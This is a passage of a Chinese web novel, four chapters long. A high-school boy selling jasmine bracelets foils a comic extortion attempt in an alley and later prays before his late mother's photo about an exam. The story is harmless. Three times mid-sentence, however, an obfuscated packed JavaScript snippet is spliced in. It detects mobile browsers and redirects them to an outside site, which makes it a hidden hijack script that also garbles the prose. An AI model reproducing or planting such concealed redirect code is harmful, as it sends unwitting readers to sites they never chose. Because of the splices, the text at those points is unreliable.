《你卷子借我抄一下》 1. 简直是令人发指! 榕城的八月末,差不多是一年里最热的时候。 正是暑假的周末,碰巧又是个晴天,整条步行街上挤满了游客和行人。道路两旁是灰瓦白墙的商铺,偶尔有一两个小贩见缝插针,挤在墙根底下扯着嗓子叫卖。 谢知跃找了一块被树荫遮蔽的角落,一本正经地支起了自己简陋的摊位。 一张小板桌、一个折叠椅,还有一面显然是从快递盒上裁下来的硬纸壳,上头写着歪歪斜斜的两行大字:茉莉花手串,一串八元。 简陋的装备混在周围一圈或精致或用心的摊位里,谢知跃一点都没有该羞愧的自觉,旁若无人地摆正了头上的草帽,摊开桌椅,嘎吱往下一坐,把显示着通话中的手机支起来。 总算听见动静,电话那头的人清了清嗓子,继续往下说:“诶,刚刚问你的话还没回我呢,你真的要转学?” 谢知跃正低头认认真真地用彩色水笔描粗纸板上的大字,冷不丁被他一问,下意识啊了一声:“啥?转啥?” 那人语塞两秒,好脾气地又重复了一遍:“……我说,你真要因为周锐平那几个家伙转去八中?” 这次可算听清了,谢知跃恍然大悟地噢了两声,把纸板挂到了小桌前边:“是啊,手续早都办好了,你珍惜着吧,开学我就不是三中的一份子了。” 细针穿过花萼,精致小巧的花粒一颗颗从线尾上落下,谢知跃给丝带打了个漂亮的蝴蝶结:“而且我听我姐说,八中的环境要比三中好多了。” 从他的声音中没听出多少情绪,电话那头的人松了口气。 话虽如此,他却忍不住为谢知跃抱怨:“我说年段长也太过分了,明明是他们先挑的事,怎么偏偏让你转学,早知道这样,当时我也……” “你这话说的,他们不爽我又不是一天两天的事了。”谢知跃语气轻松,带着点满不在乎的随意,“男子汉大丈夫,一人做事一人当,省得还把你连累进去。” 他完全没把这些事放在心上:“再说了栓子,你妈要是知道这事儿,不得连你带我一起撕了。” 栓子愤愤不平:“咱们那叫见义勇为好吧!” 他恨恨地拍了拍大腿,“真是做好人也没好报,遇上这群王八犊子。周锐平只是副校长的远远远……远房外甥而已,关系不知道偏到哪里去了,他一个年段长倒是上赶着给人供起来,人说句话比圣旨还有用。” 谢知跃有一搭没一搭地听着他念叨,时不时应两声,一边把茉莉手串挨个摆在小桌上朝外展示。 饱满圆润的花苞簇拥着嫩绿色的花萼,带着点泛青的雪色和浅绿,层层叠叠地堆起来。雪白的花瓣在阳光下仿佛发着光,亮得有些晃眼。 两个一眼看上去就是游客的年轻女生好奇走近,小心翼翼地拿起那串茉莉花翻来覆去地看,惊讶地哇了一声,“好漂亮!” 听见动静,谢知跃抬起头,草帽就顺着动作滑下去。他一只手匆匆抓住帽檐,一边冲着二人露出一个灿烂的笑容:“漂亮姐姐,看看茉莉花手串呗,一串八块钱,两串十五块。” 两人原先还有些犹豫,低头看见谢知跃的脸,又被哄得心花怒放,当即扫码买单。 栓子的话被这头的交易情况打断,听完了全程,关注点和话题一下子就被带偏,忍不住发问:“你怎么想起卖这个了?上哪儿整的茉莉花?” “小区绿化带摘的,每天和隔壁楼的大爷竞争,抢了一个暑假,现在已经达成一人一边互不干扰的战略合作共识。” 提到伤心事,谢知跃忍不住长吁短叹,“还不是因为转学,我姐整整一个暑假都没给我发零花钱,再不攒点怎么上网打游戏。” 听筒里倒吸一口凉气:“你姐真这么狠?开学呢?也不给你钱?” 谢知跃沉默两秒:“她要我分班考试考进年段前二百,不然连明年的零花钱也泡汤了。” 栓子那头安静了五秒:“……你姐是不是没看见你期末考的成绩单?” 不提八中,三中一个年段六百多人,谢知跃上学期就考了五百多名,现在他姐要让他考进年段前二百? 是他疯了还是这个世界疯了? 谢知跃穿手串的动作一顿,险些泪奔:“她大概觉得一个暑假能创造一个奇迹。” 电话那头:“……那你现在打算怎么办?彻底放弃?” “不!我决定临时抱佛脚!”谢知跃攥紧拳头,忽然斗志昂扬,坚定开口,“我最近每天晚上回去都刻苦学习!相信只需要一个星期,一个星期……” 他顿了顿,忍不住仰天长叹一口气,“栓子,你都不知道我究竟背负着什么,哥们心里苦啊!” 栓子:“……” 不,你这奇迹要真能创造出来也是见了鬼了。 然而多说无益,栓子只能跟着他一起沉默:“那……那你继续努力吧,我就不打扰你创业了。” 生怕干扰到谢知跃的奇迹发生,他一秒都不带迟疑,挂电话的速度堪比博尔特冲线,徒留谢知跃和手机面面相觑。 “……” 一下午过去,谢知跃带来的茉莉花几乎售罄,只剩他手里还在编的最后一串。 日头偏西,步行街上的行人肉眼可见地变少。谢知跃思索再三,干脆编完最后一条花串,匆匆套进手腕,把折叠桌椅一股脑地塞进包里,就此打道回府。 ……他还得回去研究怎么样在几天之内把自己的排名挤进年段前二百。 想到伤心事,谢知跃长叹一口气,总觉得连步伐都沉重了不少。 从步行街到他家还要换乘一班公交,谢知跃用手挡了挡太阳,一边往公交站台走,一边左右张望着周围的变化。 这里是两片城区接壤的地方,一侧是新开发的楼盘,另一侧是老旧的城区,中间被一条才开通不久的地铁线分隔。谢知跃很久没来过这里了,一时还有点不习惯,走在中间有种恍然隔世的错觉。 他要换乘的公交站在老城区那头,杂七杂八的线路缠绕在电线杆和破旧的、生了绿苔的墙上,周围没剩几家店铺,街道上没什么人,显得有些荒凉。 谢知跃要走到路口的另一头,刚往里走了几步,却忽然听见对面街道有人在爆粗口。 空旷的环境里一旦有声音就会很明显,他下意识往对面看了一眼。 一条马路之隔的街道那头,五六个穿搭流里流气、吊儿郎当的年轻人或蹲或站、聚在路边抽烟。 刚刚骂脏话的那人一只脚踩在消防栓上,似乎正在和什么人打电话,声音极大:“他妈的,可算让我逮到了!” 他身边的人叼着烟笑嘻嘻,“唉坤哥,那家伙一会儿真的会路过?咱不会白跑一趟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070756|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧?” “嘁。”他口中的坤哥轻嗤一声,随手挂了电话,拿下耳朵上挂着的烟,“我特意打听了 ,这个点就是他下补习班的时间,一堵一个准没错。” “哈哈哈!还是你有招!这回咱们怎么也不能让那娘们逃过去,高低得让他出点血……” “……” 谢知跃本来没多在意,刚把头转回来,几人明晃晃的对话就这么飘进他耳朵里。 尤其是听见他们要合伙围堵一个努力学习、默默上进的花季少女,谢知跃更是倒吸一口气。 他三岁就知道不能打女生的道理,这几个家伙老得像是快三十岁了,居然还能干出这种事! 简直是令人发指啊! 谢知跃心里警铃大作,停下脚步假装看手机地图,用余光偷瞟对面的情况。 好在那些混混也没把他放在心上,嘻嘻哈哈地打闹了一阵,抽烟的几人把烟头随意丢在地上,就这样勾肩搭背地走进了身后的巷子里。 注意到他们离开,谢知跃立刻穿过马路,鬼鬼祟祟地躲在巷口往里看,亲眼目睹那些人拐弯,才又偷偷摸摸地跟上。 他对这片地界不是很熟,在这些老巷子里七拐八拐地绕了好多圈,中间几度走错路,好在最后还是顺着声音找到了这几个社会败类。 只不过他来晚了一步,谢知跃小心翼翼地从墙根探头出去看了一眼,那几个混混背对着他,似乎已经围住了一人,正在恶声恶气地进行勒索:“我就说明白点,哥几个手头有点紧,你要是识相点,省得我们动手……” 谢知跃皱眉,想必被围在中间的就是他们口中的那个女生,心道大事不妙,左右张望一圈,试图想办法阻止他们。 对方人多势众,他又不熟悉路,想走捷径绕到另一头几乎是不可能的事情。焦灼半晌,谢知跃忽然心有所感,抬头看了看墙头。 这是个老街区,一层都是商铺,由店面延伸出去一小块天台,二楼往上才是住宅区。好巧不巧,这条巷子后边就有一家还没关门的杂货铺。 谢知跃力求最快,在不打草惊蛇的情况下绕了出去,眼尖地找到店门,一猛子就埋头扎了进去。 这家杂货铺大概开了不少年头,装修老旧,店里没有空调,只有头顶的破旧电风扇在嘎吱嘎吱地转个不停。 店主是个年纪挺大的中年大娘,头发黑中掺白,伏在柜台上打瞌睡。听见动静吓了一跳。 满脸茫然地抬起头,就看见一个长得阳光英俊的小伙子风风火火地冲到她面前,二话不说就往地上丢了个书包。 大娘:“?” 没等她开口,谢知跃火急火燎地环顾了四周一圈,表情急切:“阿姨,你们这儿有没有厕所?” 大娘用掌根揉了揉眼睛,还有点发懵,愣愣地看着眼前这个看起来急得马上就要拉裤兜的少年,一时间脑子还没转过弯来,愣愣道:“噢,就在……” 话音未落,谢知跃已经眼尖地看见了通往二楼的楼梯,当即眼前一亮,话不多说埋头往角落就是冲:“阿姨!我借你们家厕所一用!” 眼睁睁看着他掠过厕所,径直往天台上冲的阿姨:“……?” 迟疑两秒,她终于反应过来,大惊失色地站起身,颤颤巍巍地也跟上去,大声道:“诶!那不是厕所!天台上不让随地大小便!” 2. 好狠毒的一计! 行色匆匆的谢知跃自然没听见这句话,三步并两步冲到了楼梯顶部。 二楼上来就是一个不小的露台,边缘挂着几盆花花草草,稀稀拉拉地牵了几根晾衣绳。 谢知跃匆促地环顾四周一圈,隐约听见下方传来声音,冲到角落往下一瞧,正好看见被围堵的那人要给那几个混混递钱。 虽然隔着一段距离看不太清楚,但谢知跃依稀能辨认出那似乎是个短发女生,以及她手上即将递出去的五块钱纸币。 不等谢知跃反应,下一秒,先前那个打电话的混混横眉立目,高高扬起手,作势要把那钱一把扇飞,大声咒骂道:“操!你他妈给脸不要脸——” 这一幕看得谢知跃更愤怒了,抢钱勒索就算了,你还抢个贫困生? 没看到她浑身上下只能掏出五块钱吗?! 他怒不可遏地挽起袖子,一只脚踩上天台边缘,势必要救人于水火之中。 一路爬楼梯追上来的大娘连气都没喘匀,抬头就看见谢知跃站在房沿边上,当即吓了一跳,忙不迭伸出手,颤颤巍巍地想阻拦:“诶!那里也不能……” 话还没说完,她就看见谢知跃两只脚都踩了上去,一副作势要往下跳的模样,整个人瞬间吓得精神了,以为对方随地大小便不成,存心报复,要在她这里表演一场说走就走的跳楼。 想到这个可能,大娘仅存的最后一丝困意也灰飞烟灭了,哆嗦着嘴唇,连忙扯着嗓子嚷道:“阿弟啊,这地方跳不死人的!你快下来哟!” 模模糊糊听见身后有声音,谢知跃没太听清,也没管她说了什么,敷衍应了两句:“姨,我知道了,我一会儿再来找你!” 大娘一听这话,更是眼前一黑。 跳就算了,晚上还要回来索她的命?! 可惜不等她开口阻止,谢知跃已经俯身撑住了墙沿,伴随一声大喝,一个翻身就往下跳去:“住手——” “……” 五分钟前。 避开进门的行人,傅闻听推开咖啡厅大门,三两步下了台阶。灼人的热浪裹着粘稠的空气瞬间裹紧皮肤,叫他下意识皱了皱眉。 相较于潮湿阴冷的冬季,傅闻听更不喜欢容易令人心浮气躁的夏天。 手机状态栏里持续弹出高温预警,他点开瞥了一眼,随即利落地切换软件,指尖在屏幕上快速敲击。 Empty Sets:[下课了。] 屏幕在户外光线下显得有些微弱,对方没有秒回,傅闻听习惯性地抿了抿唇,等了半晌,又略显生硬地补上一句。 Empty Sets:[晚上可能有雨,出门记得带伞。] 发送完毕,他利落地收起手机,单肩挎着塞满了教材的背包,拐进了古居建筑旁的青砖小巷。 一路之隔,左右城区简直是天壤之别。离开现代化的街道,支巷狭窄阴凉,被两侧高墙的阴影笼罩。走出一段距离,傅闻听微不可察地松了口气,眉头稍展,拿出手机想看一眼消息。 刚低下头,他的动作微不可察地停顿一下,隐约察觉到哪里不对。几乎是出于本能,傅闻听侧身一让,精准避开了那只要重重拍向他肩膀的手。 见偷袭落空,为首的黄毛混混有些意外地挑了挑眉。 看清来人是谁,傅闻听的眼神倏然冷了下来,薄唇几乎快抿成一条直线。 面对他毫不掩饰的警惕,黄毛混混吊儿郎当地吐了口烟圈,语气轻佻:“嘿,大少爷,一个人回家啊?需不需要哥几个陪陪你?” 说话间,他身后同样冒出几个人影,个个脸上是如出一辙的不怀好意,直勾勾的眼神不加丝毫掩饰。 劣质烟草味扑面而来,傅闻听脊背微绷,克制地后退一步,有些嫌恶地皱了皱眉,“李坤?” 似乎是心有所感,他不动声色地侧目,果然,巷子另一端的出口也被几个人影堵住了。 听到自己的名字,李坤脸上的那点调笑淡了下去,脸上带着点戏谑,语带讥讽,“哟,咱们清高的大少爷还知道喊人啊?” 傅闻听眸色冷了冷,本来就流露不出多少情绪的表情更臭了。 没等回应,李坤狠狠往地上啐了一口,随手将烟头摁灭在潮湿的苔藓上,吊儿郎当地向前踱了一步。 “我就说明白点。”他不耐烦地掀起眼皮,“哥几个手头有点紧,想找人要点钱消遣消遣。你要是识相点,省得我们动手……” 话还没说完,傅闻听冷漠地低头摸了摸口袋,掏出一张五元纸币递给他,面无表情:“不用找了。” 李坤:“……” 意识到他干了什么,李坤的脸色瞬间剧变,猛地抬起胳膊,就要一巴掌打落傅闻听手里的纸币,“操!你他妈给脸不要脸——” 傅闻听的眼神骤然更冷,压下心底隐隐的烦躁。 虽然上周医生说过尽量避免剧烈运动,但只是偶尔破例一次…… 似乎是打定了主意,他捏着背包肩带的手指悄然收紧,冷笑一声:“你……” 话音未落,几人的头顶忽然落下一片阴影。 “住手——!!!” 一声石破天惊、中气十足的夸张暴喝如同平地飞雷,猛地自众人头顶炸响! 所有人都被这突如其来的一嗓子震得浑身一激灵,下意识地循声抬起头! 砰! 一道矫健的身影骤然从一侧墙沿俯冲下来,如同炮弹一般猛地落下,触地的瞬间荡起一大片尘埃。 李坤被这架势吓了一跳,只看见眼前哗地掠过一抹颜色,紧接着脚下的石砖就剧烈地抖了三抖。 李坤:“???” 众人还没来得及看清到底发生了什么,下一秒,洋洋洒洒的飞灰里猛地窜出一颗头,谢知跃声势如虹,正义凛然道:“你们在做什么!” 中气十足的一嗓子落地,李坤还没反应过来,站在他身边的小弟已经脸色大变:“该死!他居然找了帮手!” 李坤回过神来,一时间警铃大作,连作势要打人的手都收回来了。 下一秒,头顶上一阵窸窸窣窣,似乎又有什么东西逼近。李坤表情警惕,如临大敌一般抬起头,看向谢知跃的来时路。 高高的屋檐上隐隐有一抹白色的发丝闪过,他眼睁睁看着那头发犹犹豫豫地往前凑了一点,又像是在惧怕什么,飞速地往回退,然后继续往前试探……继续退…… 来来回回好几下,李坤还没看懂这是什么情况,身边的小弟依然反应迅速,又在他耳旁倒吸一口凉气:“好毒!好狠毒的一计!” 李坤:“???” 到底狠毒在哪儿?他怎么没看出来? 他还没领悟其中的深意,小弟却已进入状态,望向对面的眼神是前所未有的严肃:“这小子把他奶奶给叫来了!这里没有监控,他想设计碰瓷我们!让我们赔到倾家荡产啊!” 一下子被他点明,李坤同样倒吸一口凉气,确实好毒!好狠毒的一计! 最近老年人碰瓷事件屡出不穷,他都不用猜,对方带来的这老太婆一定有高血压、心脏病、糖尿病、骨质疏松……搞不好还有静脉曲张,居然想通通让他们来赔! 想通其中关窍,众混混齐刷刷往后大退三步! 谢知跃还没给自己来一段自我介绍,就见面前的众混混齐齐后退,一副如临大敌的模样,只以为是自己的凛凛威风起了作用,一时间有些洋洋得意。 他轻咳两声,准备乘胜追击,就看见混混中忽然有人掏出手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070757|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,点开拍摄对准他们,大声喝道:“卑鄙小人!你敢教唆你奶来碰瓷我们,没想到我棋高一招吧!” 小弟冷笑一声,清了清嗓子,又把镜头对准了屋檐上的白头发,大声道:“屏幕前的兄弟姐妹们都看看啊,我们可清清白白!什么都没干啊!” “……” 一片沉默中,傅闻听眼皮一跳,这些人到底在干什么? 他还没反应过来,身前的谢知跃忽然双手叉腰,仰天大笑:“没想到被你们拆穿了!其实那不是我奶,是……” 众混混不约而同地有些紧张,为自己捏一把汗,几乎是提心吊胆地等着他剩下的话。 万众瞩目之下,谢知跃深吸一口气,抬起头要说什么,但视线似乎捕捉到了什么东西,眼神顿时一亮:“外婆!你终于来了!” 闻言,李坤脸色大变,他就知道这小子还有后招! 几乎不需要思考,众人条件反射似地浑身一抖,如临大敌地转头看向背后,尤其是拿着手机的小弟,第一时间就把镜头对准了巷口,恨不得立刻通知交警在巷口给他装个百八十个摄像头证明清白。 准心对焦在镜头中央,一阵轻风卷过空荡荡的巷口,像是叹了口气,从地上带走一片落叶。 别说老太婆了,连个鬼影都没有。 意识到自己上当,李坤再一回头,谢知跃已经拽着傅闻听撞开人墙,眨眼间就消失在了巷子转角。 李坤恶狠狠地骂了声操,脑子终于转过弯来,恨铁不成钢地呼了下身边小弟的肩膀,“他妈的,给我追啊!” 闻言,一头雾水的小弟们反应过来,手忙脚乱地也跟着往外冲。 偏偏一个慌张,跑在最前头的两人互相踩住了彼此的鞋带,拽得双方同时栽进了地里,连带着后头一起跑出去的也被绊倒。 七嘴八舌的骂声混着各种诶呦的叫唤,李坤被压在几人中间动弹不得,险些呼吸不上新鲜空气,却还有功夫恼羞成怒地咆哮,“操!你们这几个蠢货!” “……” 隐隐约约听见身后的怒吼,傅闻听感受到抓着自己手腕的那只手明显收紧,温热的指腹贴在皮肤上传来热意。 两人一前一后在小巷中穿梭,稀薄的氧气卷着灼热的风灌进肺里,空气里若有似无地飘着花香。 铁锈味在口腔里弥漫开来,傅闻听不断调整着呼吸节奏,喉咙几度干得发紧,一时间竟有几分恍惚。 奈何拽着他的人一路左拐右窜,既不认路也不看路,途中还在巷子里迷路了两次,每次都险些撞上砖墙。他只能硬撑着打起精神,时不时地拽人一把,否则今日只怕是要当场撞死。 一路莽撞地沿着四通八达的石板深巷狂奔,直到跑回大路,两人才气喘吁吁地停下脚步。 总算看到人来人往的街道,谢知跃松了口气,径直松开拽着身后人的手,累得一屁股坐到了地上。 一个暑假没怎么运动过,突然来一场说走就走的奔跑,谢知跃还有点不太习惯。 加上生怕身后那群混混追上来,他全程没停下过脚步,这会儿累得不行,气喘吁吁地往后一仰,两条胳膊撑住地面,大口呼吸着新鲜空气。 连他都累成这狗样了,何况是那个被他拽着跑的女生。 想到这里,谢知跃还有些佩服对方的体力,打算无论如何先安慰安慰她。毕竟刚刚经历过这种事,那个被围堵的女孩一定很害怕。 于是他转过头,努力挤出一个虚弱的笑容,想说两句慰问的话,眼睛一抬,看清自己拽着的那人后,谢知跃惊得整个人都站直了。 “卧槽!” 他瞪大眼睛,猛地后退了一步,然后震惊地张大了嘴: “你、你……你怎么变性了?!” 3. 哇,你真是男的啊? 说完这句话,谢知跃就被面前的“女生”恶狠狠地瞪了一眼。 “……” 总觉得哪里有点不太对劲,谢知跃悻悻地摸了摸鼻子,迟疑两秒,还想继续开口。 只是下一秒,眼前的人忽然闷哼一声,面色瞬间惨白,一只手死死地捂上了心口。 瞧这模样,饶是一向脑子缺根筋的谢知跃也发现了不对劲,皱了皱眉心,有些愣神:“你……你怎么了?” 话还没说完,眼前人忽然摇摇晃晃地踉跄了两下,紧接着一个身形不稳,径直向前倒了下去。 谢知跃猛地瞪大眼睛:“卧槽——” 生怕人直接摔在马路上,情急之下,他顾不上对方到底是男是女,一个箭步冲上前,眼疾手快地用胳膊撑住了傅闻听的胳膊。 “喂!你……” 谢知跃刚要开口,傅闻听整个人摇摇一晃,倒头栽了下来。 带着淡淡皂角味道的微凉气息扑面而来,谢知跃被迎面压下来的人影打了个措不及防,肩上陡然一沉。 昏沉沉地撞进谢知跃怀里,傅闻听双眼紧闭,长而卷翘的眼睫并不安分地微微颤抖着,似乎连呼吸都轻了几分。 感受到身上的重量,谢知跃下意识地收紧手臂,将人又往上托了托。 他比傅闻听略矮一些,此刻几乎承受了对方半个身子的重量。 二人的脑袋互相搭着彼此的肩膀,上半身呈现出一种紧密拥抱的暧昧姿势,但脖子以下泾渭分明,中间的距离宽得甚至还能再开一家正新鸡排。 肩上的人迟迟没有反应,谢知跃试探地伸手晃了晃他:“喂!喂!你还醒着吗!别吓我啊?” 大概是姿势诡异得有点令人难受,他下意识低头看了眼现在的状况,似乎发现了什么,略显急促的呼唤声忽然顿了顿,戛然而止。 傅闻听面色苍白,从前胸蔓延到后心的闷痛感让他眼前阵阵发黑,一时间连耳边喋喋不休的声音突然消失也没发觉。 额前冒了一层虚汗,他有些艰难地掀了掀眼皮。 还没缓过来,下巴枕着的肩膀忽然抖了抖,头顶传来谢知跃的声音:“诶,你看咱俩现在的姿势,像不像一座拱桥?” 傅闻听:“……” 他深吸一口气,咬着牙想从谢知跃身上起来,但一用力,心口处细细密密的刺痛就压得他几乎喘不过气来,连手臂都在无意识地发抖。 撑着他胳膊的谢知跃很快发现了这点,他有些慌张,来不及多问,想偏头看看他的情况,却只能从侧边瞥见傅闻听毫无血色的小半侧脸。 一瞬间,谢知跃联想到什么,脑中灵光一现,忽然产生了一个荒诞又合理的想法。 “喂,你……” 谢知跃舔了舔有些发干的嘴唇,小心翼翼地开口,语气充满了真诚的担忧,“是不是来月经了?” 傅闻听:“……” 好强势的人才,短短两句对话,就让傅闻听失去了做人和做男人的资格。 他猛地睁开眼,拼尽全力深吸一口气,努力控制着胸口的疼痛,咬牙切齿地张嘴:“你……到底在说什么鬼话?” 听见他的声音,还在犹豫要不要再后退一步保持男女距离的谢知跃有些惊讶,瞪大了眼睛:“哇,你真是男的啊?” “……” 傅闻听心口的抽痛跳个不停,然而情况所迫,他努力保持着平静的呼吸,让怒火不至于烧得太旺:“……别说话,让我靠一会儿。” 谢知跃迟疑了两秒:“那我要不要打个120?” 傅闻听咬着牙深吸一口气:“不用!” 一番交涉,谢知跃总算老实消停了,还怕傅闻听靠得不舒服,主动上前一步,胳膊也从撑着对方的姿势变成了大方环抱。 很少和人有这么亲密的接触,谢知跃莫名有几分感慨:“你觉不觉得我们有点暧昧。” 傅闻听:“……” 他低头看了眼两人亲密无间的距离,眉心忍不住跳了跳,努力动了动胳膊和身体,硬是没从谢知跃的怀抱里挣脱开。 又过了一会儿,谢知跃若有所思地盯着头顶的树冠看了会儿,忽然叹了口气:“你知道吗,上一个这么抱我的还是我妈呢。” 傅闻听:“……” 他现在又拥有了做母亲的资格是吗? 二人不知道保持了这种诡异又暧昧的姿势多久,那股让傅闻听疼到难以动弹的强烈的窒息感才逐渐退去。 好不容易恢复了点力气,他使劲闭了闭眼,深深呼出一口气,身形晃了晃,硬生生地把自己从谢知跃的怀里拔了出来。 感受到他试图挣扎离开的动作,谢知跃愣了愣神,倒是非常顺从地松了手。又抬头打量了两眼傅闻听,他这才如释重负地松了口气:“真是吓死我了,还好没事,你不知道刚刚有多吓人……” 一边说着,他一边试图用手比划出刚刚的场景:“我一回头,你就这样啪一下倒了,还好我挡在下面,不然你就得摔地上了……” 傅闻听沉着脸,还记挂着刚刚的窘态,闻言皱了皱眉,想也不想地开口反驳:“不需要。” 谢知跃愣了一秒,有些怀疑自己是不是听错了,疑惑地歪了歪头,“你说什么?” “我说不需要。” 傅闻听强调了一边刚刚的话,冷冷地往后退了一步,心里仍在恼火,说出来的话也带着情绪:“要不是你,我根本就不会那样。” 心绞痛来得快去得也快,虽然是老毛病,但在减少剧烈活动和心情平缓的情况下,最近一年来已经很少发作了,更别说在大庭广众之下失态。 要不是这家伙突然拽着他跑…… 想到这里,傅闻听的表情又不可避免地臭了几分。 没等谢知跃有反应,他抿了抿唇,毫不留情地继续说:“谢谢你的见义勇为,但我不需要,把你的热情留给其他人吧。” 说完这句话,他转身就想往回走。 谢知跃生平还没遇到过这么不通情理的人,一时间还有些还没反应过来。 但眼看他又要往巷子里走,他的身体反应一时间大过思考,下意识就上前两步拽住了傅闻听的袖子:“诶,你还要往回走?” 傅闻听下意识收回胳膊,挣开谢知跃的手,有些警惕:“你干什么?” 帮了忙还要被他这样一而再再而三地呛声,饶是谢知跃这样的好脾气也难免有些不爽。 但想到对方穷得连被打劫都只能掏出五块钱,他暗叹这家伙死鸭子嘴硬到了一种境界,于是抿了抿唇,耐着性子又说:“万一你又碰上那几个人怎么办?” 兜兜转转又绕回这个话题,简直是哪壶不开提哪壶,傅闻听本来就烦着,忍不住和他呛声:“还不是因为——” 话讲到一半,傅闻听动作一顿,似乎想到什么,没再继续往下说。 谢知跃没等到后半句话,只注意到傅闻听又看了他一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17070758|195211||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随后话锋一转,冷冷道:“不关你的事,我自己能解决。” 说完,他头也不回地转身往巷子里走去。 谢知跃觉得这家伙真是莫名其妙,不光嘴硬,态度还差,简直是个奇奇怪怪的人。 但这种吃力不讨好的情况被谢知跃遇到也不是一次两次了,故而也没放在心上,暗暗嘀咕了两句,随即跟着也往里走。 不过没两步,傅闻听就发现了跟在后面的谢知跃,脚下的步子顿了顿,停下回头看了眼他。 注意到他望过来,谢知跃目不斜视,继续仰首阔步地前进。 直到路过傅闻听身边,他特意停了下来,用余光扫了眼对方空荡荡的肩膀。 见傅闻听盯着他,谢知跃没好气地哼了两声,语气不善:“干嘛?就允许你的书包掉在里面,不允许我的也丢里头了?” “……” 惊讶他居然发现了这点,傅闻听眼皮一跳,却懒得和他废话,头也不回地转身离开。 见他要走,谢知跃撇了撇嘴角,坏心眼地从手腕上的茉莉手串里拽下来几朵蔫了的花苞,模仿投篮的姿势,偷偷摸摸地往傅闻听的外套帽子里扔。 两人一前一后,头也不回地往前走,之间始终保持着一段距离。 陆陆续续丢了四五朵花苞,前面走着的傅闻听终于感受到了什么,停下回头看了一眼。 谢知跃立马把手揣进口袋,转头看向边上的砖墙,装作一副什么都不知道的样子,盯着缝隙里的苔藓装模作样地研究。 “……” 没发现什么异样,傅闻听带着疑虑看了眼谢知跃,只觉得这人真是莫名其妙。 不想再和这种怪人有多余的接触,他微微蹙眉,扯了下帽沿,不动声色地加快脚步,拐进了巷子的另一条分岔路。 谢知跃当然不会跟上去自讨没趣,刚刚的剧烈奔跑扯散了腕间的花串,他一边低头耐心地把压坏的、破损的花苞挑出去,一边往和傅闻听截然相反的巷子里走。 原先足够套进手腕的花串缩小了将近一半,谢知跃重新收紧丝带,仔仔细细地在尾端又打上一个蝴蝶结,很快就把刚刚发生的不愉快全数抛之脑后。 沿着原路回到刚刚起冲突的地方,谢知跃一路上既没碰见那群混混,也没碰见那个和他分道扬镳的男生。 地上被踩得一片狼藉,他回杂货铺找回了书包,在店主大娘的数落声里一边尬笑着道歉一边盯着时间,总算赶在公交车开走之前火急火燎地赶上了车。 “……” 六点半是公交班次的晚高峰,再晚一点路口就会被堵得水泄不通。谢知跃卡着时间挤下车,庆幸自己的运气还不错。 一鼓作气冲到家,谢知跃动作迅速地开锁进门,换了拖鞋,顺手就把肩上的书包甩到了角落里。 匆促地在卫生间洗了个手,他才把口袋里的茉莉花手串拿了出来。 被摘下太久,茉莉花的边缘泛着一层淡淡的雪青色,花瓣边缘沾了点手上残留的水珠,谢知跃捧着手串,轻轻把它放在了客厅角落里的一张黑白遗像前面。 照片里的漂亮女人看着年纪不算大,对着镜头轻轻歪着脑袋,笑得格外灿烂。 谢知跃认认真真地把花串摆正,一边给遗像上了柱香。 他盯着照片里的人看了半晌,最终愁眉苦脸地叹了口气,双手合十拜了拜:“妈,你一定要保佑我考过啊,不然你儿子就要变成穷光蛋了……” 4. 总感觉这张脸很眼熟 榕城的高中生想要转学,只能进比当初中考分数线更低的学校。 多亏八中和三中两所学校的差距不大,虽然在市高中的排名和录取分数里,八中始终要低三中一头,但差距微弱,彼此间互相竞争着生源。 换而言之,也就是谢知跃走了狗屎运,当初的中考成绩正好比八中还高了一点。 当然,转进去是一回事,真正的考验还在后面的分班考试里。 上完香,谢知跃从床底下翻出积灰已久的课本,信心满满地坐在了书桌前面,计算着这次要考多少分才能达到他姐定下的目标。 已知谢知跃上学期的期末排名是年段五百名开外,而他姐给他定下的目标是考进年段前二百。 “……” 这进步空间是多么的宽广! 谢知跃认真抚摸着崭新得仿佛完全没用过的封皮,暗暗下定决心 这一次!他一定会考出一个惊艳他姐的好成绩! 几乎不需要犹豫,谢知跃认真地在扉页上写下自己的姓名,随后翻开课本第一页,沉浸在知识的海洋里畅快遨游。 “……” 五分钟后,谢知跃趴在桌上睡着了。 . 星期五,榕城第八中学。 感谢学习的威力,谢知跃认认真真地坚持复习了三天,成功喜提了三天的优质睡眠。 从拿起书开始睡到放下书,知识的获取量大概是零。 加上他昨晚不慎把闹钟定到计算器里,导致今天早上差点错过公交,险些就提前知道了自己的成绩。 不过没关系,谢知跃坚信一切总有时来运转的时候,不是不到,时候未到而已。 阳光总在风雨后! 